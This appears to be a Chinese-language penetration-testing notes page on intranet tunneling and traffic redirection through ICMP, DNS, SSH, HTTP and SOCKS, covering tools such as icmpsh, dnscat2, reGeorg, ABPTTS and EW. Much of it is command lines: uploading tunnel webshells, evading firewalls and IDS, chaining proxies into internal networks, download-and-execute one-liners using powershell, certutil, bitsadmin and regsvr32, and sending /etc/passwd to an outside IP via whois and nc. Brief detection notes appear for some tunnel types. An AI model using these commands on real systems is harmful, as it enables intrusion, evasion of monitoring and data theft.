流量操控及内网穿透
场景
- 内网机器受到边界防火墙的限制,访问受限的网络环境
- 使用隐蔽的手段逃避安全检查措施和溯源追踪
- 在非受信任的网络中实现安全的数据传输
重定向(Rdirection)
端口转发
传输使用的明文
隧道 (Tunneling)
隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。 —-百度百科
在不受信任的网络环境中实现安全的通信
通常使用多种加密技术建立通信隧道
点到点(IP2IP)、端到端(Port2Port)隧道
VPN : PPTP、l2tp、IPSec、SSL vpn
封装(encapsulation)
通常结合在隧道中使用,使用一种协议封装一种协议(RPC o HTTP、VoIP)
使用网关设备实现不同类型网络的互联互通
网络层隧道
ICMP隧道
场景
两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透
原理
Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改变的,但是内容依旧不变,循环
1 | ping www.baidu.com -t -l 1024bytes |
Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’()+,-./01234567
ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)
工具
该工具需要python-impacket
库的支持,而且run.sh
并不能获取本地IP,所以直接使用python3 icmpsh_m.py 192.168.1.139 192.168.1.161
,最大的优点是客户端支持Windows Powershell也能支持,并且无乱码
1 | icmpsh.exe -t 192.168.1.139 |
已经不更新了,支持多并发连接、支持身份验证、需要root
1 | server: |
下载安装
1 | wget http://nchc.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz |
被控端:
1 | ./ishd -i 433 -t 0 -p 1024 |
控制端:
1 | ./ish -i 443 -t 0 -p 1024 192.168.1.139 |
这个工具原理都是一样的,但是与其他俩个工具的不一样之处在于,主动向需要控制的机器发送ICMP数据包,并且产生的ICMP数据包比较少,不容易被IDS等检测系统发现
都只能在linux下使用,并且需要关闭ICMP响应
1 | # echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all |
服务端,启动icmptunnel,并给隧道分配一个IP
1 | # ./icmptunnel –s |
客户端,连接服务端,并且给隧道分配一个IP
1 | # ./icmptunnel <server> |
客户端就建立了一个端到端的ICMP隧道,其中服务器为10.0.0.1,客户端为10.0.0.2,可以建立一个ssh socks隧道
1 | ssh -D 8080 -N root@10.0.0.1 |
检测
- 检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
- 寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
- 注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
- 检查ICMP数据包的协议标签,例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征。
IPV6隧道
类型
- IPV6 over IPV4隧道,把IPV6报文封装到IPV4报文中,使IPV6的流量可以穿越IPV4网络
- IPV4 over IPV6隧道,把IPV4报文封装到IPV6中,使IPV4的流量可穿越IPV6
应用层隧道
DNS隧道
场景
防火墙禁止TCP出站访问流量
- SSH隧道、端口转发全部失效
- 使用基于UDP协议的隧道
- DNS的工作原理适合用于实现隧道
原理
配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列dns查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据
- 利用合法的DNS服务器实现DNS隧道
- C/S (dns2tcpc / dns2tcpd)架构
- 通过TXT、CNAME、MX记录加密传输数据(A记录长度有限)
- 隧道建立后保持连接
- 默认记录生存时间TTL值为3秒
工具
DNScat2、dns2tcp、iodine、CS
Dns2tcp
采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便。iodine
和Dnscat2
则是目前的主流,Dnscat2
提供了灵活的交互模式,而iodine
则在编码,请求类型上提供了更丰富的选择,而且在速度方面,其他工具望尘莫及
方法
- 假如能够指定任意DNS服务器查询,且可以正常查询到结果的话,无需域名可以直接通过53通道进行高速上线,此时速度最快
1 | nslookup www.baidu.com 8.8.8.8 |
- 如果无法指定DNS服务器进行查询,必须上线一个自己的域名,并且是慢速上线,速度较慢
1 | nslookup www.baidu.com |
检测方式
- 基于请求域名长度及请求频率统计分析方法,将客户端请求的DNS域名中长度大于长度阈值的以记录下来,然后统计频率,当频率大于频率告警阈值时则判定此客户端使用了 DNS隧道技术
- dnscat 查询中包含了dnscat 字符串,这个可以作为防火墙和入侵检测的特征
SSH隧道
建立双向安全隧道
- 将其他TCP端口的通信通过SSH连接转发
- 用SSH作为传输层协议,对流量自动加解密
- 突破防火墙访问规则的限制
SSH本地端口转发
- 本机侦听端口,访问转发到远程主机指定端口
1
2
3
4ssh -L -CfN <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
#能够共享该隧道
ssh -L -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>基于建立起来的SSH隧道,隧道中断则端口转发中断
只能在建立隧道时创建转发,不能为已有隧道增加端口转发
远程端口转发
- 远程侦听端口,访问转发到本机主机指定端口
1
ssh -R -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
内网为服务器
动态端口转发
- 本地侦听socks4/5代理端口,由SSH server决定如何转发
1
ssh -CfNg -D <listen port> user@<ssh server> -p <ssh server port>
不管是利用SSH做转发还是做socks代理,唯一的好处就是通信数据全加密,一定程度上可有效对抗各类IDS、IPS和取证,缺点就是可能速度稍慢,对于渗透Linux内网是比较好的选择。
HTTP隧道
原理
通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密
的,不安全的,一般再嵌套一个SSH安全隧道
1 | CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口 |
场景
- 内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网
- 内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
- 服务器处于内网,可以访问外部网络
工具
基于SSL加密的隧道工具,全程通信数据加密,一定程度上能对抗取证检测
需要pycrypto、httplib2
依赖库,然后生成服务端webshell
1 | python abpttsfactory.py -o webshell |
生成了aspx、jsp、war
三种类型的webshell(不支持PHP),然后上传至网站服务器即可。然后就可以绑定端口建立隧道了
1 | python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.161:8001/abptts.aspx" -f 127.0.0.1:1234/192.168.1.161:3389 |
这个可以说是用的比较多了,支持php|aspx|ashx|jsp
,与上一个abptts类似,也是上传一个Tunnel
脚本,然后远程连接转发端口即可建立socket代理隧道
1 | python2 reGeorgSocksProxy.py -p 8080 -l 192.168.1.139 -u http://192.168.1.161:8001/tunnel.aspx |
【注】
- 对于aspx的网站假如总是报错,可以尝试ashx脚本
- PHP程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本
- linux下利用
proxychains
,Windows下利用proxifier
实现任意应用通过代理 - 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口
剩下还有一些bridge、Reduh、Tunna等工具可以建立HTTP隧道,但是效果都不大好….
- Navicat
Navicat自带对应数据库的代理脚本(mysql、postgresql、sqlite),上传该代理脚本,建立HTTP隧道,在远程机器上可直接通过Navicat连接内网数据库
场景
目标机器站库分离,数据库在内网的某台机器上;防火墙阻断外部IP访问内部数据库端口;无法开启mysql外联…
检测
- 基于签名的检测,通过检测HTTP协议数据包中特定的数据式样来判断是否是可以的HTTP数据包
- 基于协议的检测,很多HTTP隧道传输时只是简单的一个HTTP协议封装,加上了一个HTTP头部,而正常的HTTP协议是非常复杂的
- 基于行为的检测,通过数据包大小、数量、会话时长等,基于这些特征采取数据挖掘技术对其进行建模检测
Socks代理
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。
有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议
Lcx
最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。
1 | //内网机器10.0.0.1的3389端口,转发到公网9000端口 |
EW
- 正向socks5代理
1 | ew_for_win32.exe -s ssocksd -l 8888 |
- 反弹socks5代理
1 | #公网机器 把1080端口的代理请求转发给8888端口 |
- 二级网络环境 (一)
1 | #A主机存在双网卡,外网IP,可连接目标网络内主机B |
- 二级网络环境 (二)
1 | #A主机存在双网卡,内网IP,可连接目标网络内主机B和外网 |
- 三级网络环境
1 | #A没有公网IP但是可以访问外网,B不能访问外网但是可以被A主机访问、C可以被B访问而且能访问核心区域 |
Termite
个人感觉不大好用….
内网文件的传输和下载
搭建HTTP Server
Python2
python -m SimpleHTTPServer 1337
Python3
python -m http.server 1337
PHP 5.4+
php -S 0.0.0.0:1337
Ruby
1
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
Ruby 1.9.2+
1
ruby -run -e httpd . -p 1337
Perl
1
2perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'busybox httpd
1
busybox httpd -f -p 8000
Download files form Server
- powershell
1 | powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe' |
- certutil
1 | certutil -urlcache -split -f http://47.107.82.71:1337/10000.txt d:\1234.txt&&d:\1234.txt |
- bitsadmin (有点慢)
1 | bitsadmin /transfer n http://47.107.82.71:1337/10000.txt d:\12345.txt && d:\12345.txt |
- regsvr32
1 | regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll |
- curl
1 | curl http://47.107.82.71:1337/10000.txt |
- wget
1 | wget http://47.107.82.71:1337/10000.txt -O 1.txt |
- awk
1 | awk 'BEGIN { |
Bash传输
接收端
1 | nc -lvnp 1337 > test.txt |
发送端
1 | cat test.txt > /dev/tcp/ip/port |
SMB协议传输
kali中已集成该工具
1 | #在当前目录启动 SMB server,共享名称为 share |
下载文件:
1 | copy \\IP\ShareName\File.exe file.exe |
上传文件:
1 | net use x: \\IP\ShareName |
Whois传输
接受端:
1 | nc -vlnp 1337 | sed "s/ //g" | base64 -d |
发送端:
1 | whois -h 47.107.82.71 -p 1337 `cat /etc/passwd | base64` |
NC传输
接收端:
1 | nc -lvvp 1337 > test.txt |
发送端:
1 | cat test.txt | nc 47.107.82.71 1337 |